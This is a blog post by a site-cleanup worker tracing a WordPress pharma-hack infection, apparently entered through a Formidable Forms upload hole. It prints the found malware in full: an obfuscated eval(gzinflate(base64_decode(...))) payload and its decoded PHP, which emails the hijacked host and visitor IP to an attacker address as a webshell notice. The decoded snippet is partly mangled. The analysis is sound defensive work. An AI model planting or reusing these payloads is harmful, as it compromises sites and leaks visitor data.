More Pharma Hack Details

Several weeks ago I came across a hacked site with no compromised files, but infected bodies in the wp-posts tables. Remote access to the db, but am still waiting for permission to get into the site to see what is what.

In the mean time, this just came across my desk. A new corrupt site, this one with some nasty fun.

Firstly we scan, using the wpscan to find:

[!] Title: Formidable Forms 1.06.03 – ofc_upload_image.php Shell Upload Remote Code Execution

This could be a problem, so we scan the files.

For rapidly finding data in files recursively, try out the Silver Surfer

A code searching tool similar to ack, with a focus on speed.

I down the site to my local workspace and begin the hunt. We need to find “gzinflate(base64_decode”

emichalsen$ ag gzinflate(base64_decode
-bash: syntax error near unexpected token `('

Well crap. Let’s try this with as a literal string

ag "gzinflate(base64_decode" -Q
276: . '

276: $menu . ‘
<div style=”margin: 5;”>’;eval(gzinflate(base64_decode(‘dZJNc5swEIb/iieTQ3ITuInLZHrAuBIrx9SA+dLFAxbBssRHQxMX//qqJk4y0+lhR6PZffTuu6vrrn3+tS1Ew7d88m1yRV3W7UyFssG2wAmefGStQ6RwMlAzT72OuyuRbnrPqVUNTiV5rU55GhxggXQ9iGU4ny38ttLsWE9Wlc5Vq4VmhF1d3i+mUK1DW6aGhyPFdPQikrG3MQKcIvw9wDDqnBmuMn2CY//DhDiIImzBxvAiUOii3RV1e67/q02xtQlimugoQFEcxTGOjOApjin9xKAspQ1L/TOzq/GUp7RnJD4UZqCWTjBlCbxQol5yIS/MT54ERvGmA0r3qbyWJb97IHvEXfv+cfgqOcEDM2MEhN59zMUa4PDmj9BX5sqLP+E3cfND2P/l1oQOawFjD+S8hz1LjCN3ZTvOSnbg9pVPjH2eHFuosxNbzE+rKTV12DmxUJHgrnDutDckHt99HGVWW7IM5Qxc5DmNjjrud2ZUlYP9vuvl0I95OT8xfS9M6zlPohaacbelgP7jH8nZ1cOkfM3VTZH35f2XLS93LS9vrj/9vNvbhz8= ‘)));

Hello there. What say we inflate that encoded spagetti…

$port_bind_d = “JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldlYlNoZWxsIGh0dHA6Ly8kdGFyZ2V0IGJ5ICR2aXNpdG9yIjsNCiAgJGJvZHkgICAgPSAiQnVnOiAkdGFyZ2V0IGJ5ICR2aXNpdG9yPGJyPiI7DQogIGlmICghZW1wdHkoJHdlYikpIHsgQG1haWwoImYzZDBzM3J2M3JAaG90bWFpbC5jb20iLCRqdWR1bCwkYm9keSk7IH0NCn0NCmVsc2UgeyAkdmlzaXRjKys7IH0NCkBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7”; eval(base64_decode($port_bind_d));

Well that’s annoying. Let’s do it again.

$visitc = $_COOKIE[“visits”];
if ($visitc == “”) {
$visitc = 0;
$visitor = $_SERVER[“REMOTE_ADDR”];
$web = $_SERVER[“HTTP_HOST”];
$target = rawurldecode($web.$inj);
$judul = “WebShell http://$target by $visitor”;
$body = “Bug: $target by $visitor
if (!empty($web)) { @mail(“”,$judul,$body); }
else { $visitc++; }

Ah, this is a bit more interesting.

Turns out there is more….but that is for another post in the near future. Stay tuned!


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s